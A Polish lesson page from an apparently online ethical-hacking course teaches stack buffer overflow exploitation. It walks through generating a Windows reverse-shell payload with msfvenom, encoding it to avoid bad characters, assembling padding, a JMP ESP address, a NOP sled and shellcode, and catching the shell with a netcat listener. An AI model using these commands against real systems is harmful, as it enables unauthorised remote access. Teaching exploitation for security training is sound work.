Shellcode i eksploatacja
Uzyskiwanie powłoki
Shellcode i eksploatacja to bezpłatna lekcja Ethical Hacking Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Ethical Hacking Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.
Czym jest shellcode
Shellcode to niewielki fragment kodu maszynowego, który po wykonaniu realizuje określone działanie — tradycyjnie uruchamia powłokę. Jest to ładunek, do którego przekierowuje się wykonanie po przejęciu kontroli nad EIP.
Jest zapisany jako surowe bajty (kody operacji), dzięki czemu można go bezpośrednio wstrzyknąć do pamięci.
Rodzaje ładunków
Typowe cele ładunków obejmują:
- Bind shell: otwiera port nasłuchujący na zaatakowanym komputerze.
- Reverse shell: nawiązuje połączenie zwrotne z atakującym (co ułatwia przejście przez zapory sieciowe i NAT).
- Execute command: wykonuje pojedyncze polecenie, na przykład dodanie użytkownika.
Reverse shell jest najczęściej używany podczas rzeczywistych testów bezpieczeństwa.
Generowanie za pomocą msfvenom
msfvenom generuje ładunki. Należy określić typ ładunku, adres i port nasłuchującego, format wyjściowy oraz niedozwolone znaki, których należy unikać.
Flaga -b wyklucza niedozwolone znaki, a -f ustawia format wyjściowy.
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f cDlaczego potrzebne jest kodowanie
Surowy shellcode często zawiera niedozwolone znaki (takie jak bajty null). Koder przekształca ładunek, aby uniknąć tych bajtów, a następnie dodaje na początku procedurę dekodującą, która odtwarza oryginalny kod podczas działania.
Klasycznym koderem jest x86/shikata_ga_nai.
msfvenom ... -e x86/shikata_ga_nai -b "\x00"Dekoder i samomodyfikacja
Kodowany shellcode dekoduje się w pamięci przed uruchomieniem. Ta samomodyfikacja wymaga pewnego zapasu miejsca na stosie, dlatego między innymi pomocne są ślizg NOP i odpowiednio duży bufor.
Czasami trzeba najpierw dostosować ESP, aby dekoder nie uszkodził własnego kodu.
Składanie ostatecznego exploita
Kompletny bufor exploita składa się z:
- Dopełnienia do przesunięcia.
- Adresu powrotu JMP ESP.
- Ślizgu NOP.
- Kodowanego shellcode.
Wystarczy wysłać go do podatnego wejścia, aby wykonanie zostało przekierowane do ładunku.
buf = "A"*offset + ret + "\x90"*16 + shellcodeKonfigurowanie nasłuchiwania
W przypadku powłoki zwrotnej przed uruchomieniem exploita należy rozpocząć nasłuchiwanie na swoim komputerze. Prosty nasłuch Netcat przechwyci przychodzące połączenie.
W przypadku payloadów etapowych należy zamiast tego użyć multi/handler w Metasploit.
nc -lvnp 4444Uruchamianie exploita
Gdy nasłuch jest gotowy, wyślij przygotowany bufor do celu. Jeśli wszystko się zgadza, shellcode zostanie uruchomiony, a nasłuch odbierze powłokę na zaatakowanym systemie.
Masz teraz możliwość wykonywania poleceń z uprawnieniami podatnego procesu.
python exploit.py 10.0.0.20 9999Rozwiązywanie problemów
Jeśli atak się nie powiedzie, sprawdź typowe przyczyny:
- Do shellcode'u lub adresu powrotu przedostał się niedozwolony znak.
- Ślizg NOP jest zbyt krótki.
- Dekoder nie miał wystarczająco dużo miejsca na stosie (dostosuj ESP).
- Nieprawidłowy offset lub porządek bajtów.
Metodyczne debugowanie w debuggerze pozwala wyizolować problem.
Poza klasycznym przepełnieniem
Przy włączonych mechanizmach DEP i ASLR zwykły shellcode umieszczony na stosie nie zostanie wykonany. Współczesne exploity wykorzystują programowanie zorientowane na powroty (ROP) do łączenia istniejących fragmentów kodu oraz wycieki informacji do obejścia ASLR.
Ten kurs przedstawił podstawy, na których opierają się te zaawansowane techniki.
Payload etapowy a bezetapowy
Payloady występują w dwóch wariantach. Payload bezetapowy zawiera cały shellcode w jednym bloku. Payload etapowy wysyła niewielki kod pośredniczący, który pobiera resztę z handlera.
Payloady etapowe mieszczą się w mniejszych buforach, ale wymagają zgodnego handlera, takiego jak multi/handler w Metasploit, aby dostarczyć drugi etap.
Szybki sprawdzian
Przypomnij sobie, dlaczego shellcode jest często kodowany.
Podsumowanie
Ukończyłeś cały łańcuch eksploatacji:
- Shellcode to payload; najbardziej praktyczne są powłoki zwrotne.
- Wygeneruj go i zakoduj za pomocą msfvenom, aby ominąć niedozwolone znaki.
- Połącz wypełnienie + JMP ESP + ślizg NOP + shellcode, uruchom nasłuch i przeprowadź atak.
- Współczesne cele wymagają użycia ROP i wycieków informacji do pokonania DEP/ASLR.
Ukończyłeś kurs eksploatacji przepełnienia bufora.
Często zadawane pytania
Czy lekcja „Shellcode i eksploatacja” jest bezpłatna?
Tak — pełny tekst „Shellcode i eksploatacja” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Ethical Hacking Academy, przejdź na CoddyKit PRO. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.
Co nauczysz się w „Shellcode i eksploatacja”?
Uzyskiwanie powłoki Ćwiczysz Ethical Hacking Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć Ethical Hacking Academy?
Nie wymagamy żadnego doświadczenia. Ethical Hacking Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.
Ile czasu zajmuje lekcja „Shellcode i eksploatacja”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji Ethical Hacking Academy?
Tak. Każda lekcja Ethical Hacking Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Pamięć i stos
- Fuzzing w poszukiwaniu awarii
- Kontrolowanie EIP
- Shellcode i eksploatacja